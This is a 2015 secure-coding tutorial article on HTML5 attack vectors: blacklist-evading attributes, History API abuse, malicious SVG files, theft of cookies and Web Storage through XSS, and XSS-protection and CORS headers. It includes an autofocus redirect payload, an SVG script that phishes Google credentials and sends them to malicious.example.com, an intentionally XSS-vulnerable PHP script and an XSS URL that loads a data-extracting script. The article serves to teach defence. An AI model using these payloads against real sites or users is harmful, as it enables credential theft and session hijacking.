Secure coding

General HTML5 Security

Ivan Dimov
September 24, 2015 by
Ivan Dimov

HTML5 is a living standard and new features are being added as we speak. New features will continue to arrive and browsers will keep becoming better and better at supporting them. However, those new features also bring with them new opportunities for attackers to seize control and they increase the complexity of the field of web security.

In this article, we are going to show you just a few of the new HTML5 features that open new horizons for exploitation and we will keep showing you more and more with upcoming articles.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

We are going to examine some new attack vectors caused by new attributes and elements and the trouble they cause on the technique of blacklisting. We are going to show you how the additions to the History API can turn into a nuisance for the user, and how an SVG file can turn malicious. We are going to show you how user data, including cookies, IP address, user agent, and HTML5's Web Storage components, can arrive in an attacker's hands with the addition of a single script. We are going to build a script that stores all that data in a text file and requires only that the attacker add that script to a third-party page. Finally, we are going to present you how new browsers can prevent some forms of XSS and introduce CORS.

 

Code samples and a data-extracting script

 

The article includes code samples and a data-extractor script, which can be used to collect and store user data remotely. You can download them here:
[download]

 

New attack vectors

 

There are three main ways to cope with user input – encode the output (for example, convert the special characters in the HTML to entities), filter it through whitelisting (allow only certain values) or filter it through blacklists (disallow certain values. For example, disallow users from adding <script> or using an on*="" event listener). In the world of HTML, the last one is incredibly inefficient because HTML is a living standard and new elements, attributes and event listeners emerge all the time. This is evidenced by HTML5.

If you have been doing blacklisting, HTML5 created new attributes such as onforminput, which your filters may not catch. There are even attributes, which can be strategically used by attackers that do not even start with on*. For example, if you are displaying the user input (a tag from a list of allowed tags having filtered the attributes to certain allowed ones) inside a form then attackers can use the new formaction attribute to redirect the form's submission to an arbitrary server. Such attributes can be applied to elements such as <button> and <input> and allow a potential attacker to not only redirect the form's submission but change the request method (through the formmethod attribute), prevent the form from validating (using the formnovalidate attribute), change the encoding type (via the formenctype attribute) and other such newly founded vectors.

In the past, if you wanted to automatically trigger a certain JavaScript snippet you would have to use onmouseover and hope that the victim puts his mouse on the element. With HTML5, injected JavaScript could be automatically executed by each user that visits that webpage by adding an onfocus event handler accompanied by the autofocus attribute.

For example, by simply adding the line below each visiting user will be redirected to an arbitrary site possibly even before the page loads.

 

<input type="text" onfocus="window.location = 'http://malicious.example.com';" autofocus/>

 

 

Browser's History API

 

The additions to the browser's History API, namely pushState, replaceState and popstate have legitimate purposes – they ease AJAX websites in functioning optimally by allowing them to record certain actions as being pages in the history of the browser, and allowing the developers to change the URL in the browser accordingly to reflect the user's action which eases users in navigating and sharing bits of AJAX websites with others.

However, websites can whack your history and prevent you from going back to another website by pushing a particular website multiple times through loops and iterations. This does not require much time, effort and code to do:

 

<script>

for (var i = 0;i<10;i++) {

history.pushState({}, 'Stay here, I command you!', '/bestwebpage.html');

}

</script>

 

The above snippet is sufficient to make you click Back 10 times just to leave the self-called bestwebpage.html page. It could have easily been 100, or 1,000 times.

Malicious webpages can also fill the victim's browser history with suspicious-looking page names for various purposes – such as blackmail. They can even trick unsuspecting users in thinking they are on a different website by replacing the history's state:

 

history.replaceState({}, "Example", '/www.example.com/login.php');

 

The replaceState call above would result in the following URL shown to the user which could be confusing to unsuspecting users:

Figure 1: The History API could be used to phish as well

 

SVG

 

HTML5 allows SVG graphics to be inserted in documents and they could be created inline within the document using the <svg> tag. If we are adding the SVG graphic to the document using the <img> tag then malicious JavaScript inside the svg file would not be executed unless the user saves the file/image and views it as a standalone in his browser.

 

<!-- Not entirely safe -->

<img title="Heart <3" width="400" height="400" src="image.svg" alt="Heart <3"/>

 

 

<!-- Allowing user to input svg tags is completely unsafe unless filtered -->

<svg width="100" height="100">

<script>alert('JS SVG');</script>

</svg>

 

You can see that within the svg tag we can place a script tag and add arbitrary JavaScript that would be executed along with the rendered graphics each time the user views the page with that graphic.

Now, the user may really like the Heart <3 graphic and download it for later viewing.

Figure 2: A user is about to download the Heart SVG graphic

After the user has downloaded it and opened it, he would be surprised.

Imagine that along the elements creating the graphic we have a script which checks if the user is running Google Chrome and if he is – it tells the user that the Google Chrome browser has detected that the user is trying to access an image unsuitable for minors and asks the user to provide the credentials with which he logs in to Google Chrome (his Google account). After providing them, the svg redirects the user to a malicious website and sends to it his credentials. The example below is a simplification of a sample real-world scenario:

 

 

<g transform="translate(0,0) scale(1)">

<g style="fill:red;stroke:pink;stroke-width:2px;display:default;overflow:visible">

…………………………………

 

 

<script>

var isChromium = window.chrome,

vendorName = window.navigator.vendor,

isOpera = window.navigator.userAgent.indexOf("OPR") > -1;

if(isChromium !== null &amp;&amp; isChromium !== undefined &amp;&amp; vendorName === "Google Inc." &amp;&amp; isOpera == false) {

// is Google chrome

var user = prompt("Google Chrome has detected that you are trying to access an image unsuitable for minors. Please enter the email you use to login to Chrome continue");

var pass = prompt("Now enter the password you use to sign in to Google Chrome");

window.location = 'http://www.malicious.example.com?user=' + user + "&amp;pass=" + pass;

} else {

// not Google chrome

}

</script>

 

The only thing of special regard in the code snippet above is the fact that we have used the &amp; entity each time we wanted to use & in our JavaScript code
due to the way SVG works.

Figure 3: Trying to open the SVG graphic as a standalone does not show it but prompts the user for credentials

Figure 4: After the user has entered his credentials in the prompt box he is redirected to a website which is supposed to save them in a persistence layer so that the attacker can use them.

 

Web Storage

 

The new HTML5 Web Storage APIs enables web developers to store around 5 megabytes of data (compared to just 4 kilobytes allowed in cookies) on the user's machine and facilitates offline applications. The stored data is not sent with every HTTP request so it does not cause burden on the user's requests.For example, StackEdit allows you to write articles or other pieces of text in Markdown fully offline. All of your articles are saved to the Local Storage. Local Storage keeps the data you save in it until you remove it or until the user manually deletes it. Session Storage keeps the data available until the user closes his browser. Now imagine web apps that would save your emails, purchases/sales history, portfolios and emails locally and think of whether this is safe. Web Storage becomes an increasingly important asset to examine for attackers. Let us consider a practical case. If a website is already vulnerable to XSS, then the attacker can gain access not only to the cookies (unless they are set to HTTPOnly) but to the local and session storages. Thus, placing the plain user's session identifier in Web Storage is not a good idea since there's no HTTPOnly flag to lessen the effects of a potential security hole.

Let's consider a vulnerable server-side script like the one below:

 

<?php

session_start();

$results = array("Tomatoes Sales" => 'example.com', "Luxurious Breast implants at b00psey" => 'b00psey.example.com', 'Cheap potatoes' => 'potato.example.com',

'Luxurious wooden furniture' => 'furnace.example.com',

'Groceries, cheap electronics and other consumer goods' => 'groel.example.com');

 

 

if (isset($_GET['q']) && strlen($_GET['q'])) {

//XSS in the line below

echo "Showing results for query: <em id='q'> " . $_GET['q'] . "</em><br>";

//if there is a match between the sought keyword and some of the available content - show all matches within a link to their website

foreach ($results as $row) {

$match = substr_count(strtolower(array_keys($results,$row)[0]), strtolower($_GET['q']));

if ($match) {

echo "<a href='" . $row . "'>" . array_keys($results, $row)[0] . "</a><br>";

}

}

 

 

?>

 

The example app takes a query parameter called q and searches for a match in an array of possible results. If found, it shows all relevant results in a link.

This example app uses both localStorage and sessionStorage. It uses localStorage to store each previous search query of the user and the number of times the query has been repeated. Session Storage is used to store the last search query made. You can see the rest of the code associated with this example in the section with downloads of the article.

In reality, it is possible for attackers to get hold of the user's cookies and values stored in Web Storage with a single malicious request exploiting a vulnerability like XSS or various forms of code injections.

For this purpose, we have created a small set of scripts that save plenty of the user's data to a remote server under the condition that you somehow add the script to the page the user is viewing.

Figure 5: The script has gathered some data about a user and has saved it in a text file

The script retrieves the user's public IP address, his cookies, values stored in local and session storage and his user agent and inserts them in a text file in which separate users and separate pieces of data are line-separated. From what we have gathered here – we can possibly hijack the user's session from the PHPSESSID cookie. We can possibly learn about the capabilities and vulnerabilities of the user's browser (newer browsers try to present themselves as different or multiple browsers to prevent being sniffed), and use the information stored in Web Storage in any way we like – the information there could have consisted of sensitive emails, a famous blogger's unpublished articles written in StackEdit or other useful pieces of data.

To run our script all we have to do is exploit a website's weakness to add an arbitrary script. For example, if the website is vulnerable to XSS we could send URLs resembling the one below:

http://www.vulnerablesite.example.com/?q=<script src="path/to/hosted/files/data-extracter.js"></script>

Then, that entire user's data will be available in collected-data.txt in the same directory where the JS script is. (The script which I called data-extractor is available in the downloads that come with this article)

Some browsers have implemented XSS Auditors, which prevent some forms of XSS and other common vulnerabilities

Figure 6: Google Chrome's XSS Auditor disallowing a simple Reflected XSS attack

However, this does not hold true for all browsers, especially older but even more contemporary ones. Internet Explorer 11, the usual suspect, allowed the XSS to take place and the data from one website was successfully saved in the text file located in a remote server (another website) as you saw in the picture with the collected data above.

HTML5 allows developers to make sure compliant browsers protect their users from Reflected XSS attacks using the X-XSS-Protection header. Enabling it and blocking such instances could be done with the following header: X-XSS-Protection: 1; mode=block.

Therefore, in PHP you can disable it with:

 

header("X-XSS-Protection: 0;");

 

Or enable it with:

 

header("X-XSS-Protection: 1;");

 

 

CORS (Cross-Origin Resource Sharing)

 

Now, if we execute the data-extractor script in one of the latest browsers we might encounter another issue:

Figure 7: Remote XMLHttpRequests are subject to the same-origin policy (they must come from the same domain)

That is another layer of protection. Therefore, our data-extractor script's back-end would have to allow any user to request it through AJAX so we allow all origins:

 

header("Access-Control-Allow-Origin: *");

 

Browsers prevent websites using AJAX to set the Origin header themselves as indicated by the picture below.

Figure 8: Cannot set manually the Origin header on recent Google Chrome

The Origin header does not eliminate the possibility of CSRFs so you should keep them tokens and it is still possible to change the value of the Origin header in certain circumstances (for example, non-browser entities).

 

Conclusion

 

HTML5 has brought us far more features than the examined above and most of them have some security implications. I hope that this article have sufficed to introduce you to the world of changes that is HTML5 and the uncertain future that it holds as 0days are bound to come up as new cool features emerge.

 

References:

 

McArdle, R 2011, 'HTML5 Overview: A look at HTML5 Attack Scenarios'. Available from: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/reports/rpt_html5-attack-scenarios.pdf [18 September 2015]

OWASP, 'HTML5 Security Cheat Sheet', Available from: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet [16 September 2015]

Schmidt, M 2011, 'HTML5 web security', Available from: http://media.hacking-lab.com/hlnews/HTML5_Web_Security_v1.0.pdf [20 September 2015]

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Trivero, A 2008, 'Abusing HTML 5 Structured Client-side Storage'. Available from: http://packetstorm.wowhacker.com/papers/general/html5whitepaper.pdf [15 September 2015]

Ivan Dimov
Ivan Dimov

Ivan is a student of IT and Information Security. He is currently working toward a Master's degree in the field of Informatics in Sweden. He is also a freelance web developer engaged in both front-end and back-end coding and a tech writer. Whenever he is not in front of an Interned-enabled device, he is probably reading a print book or traveling.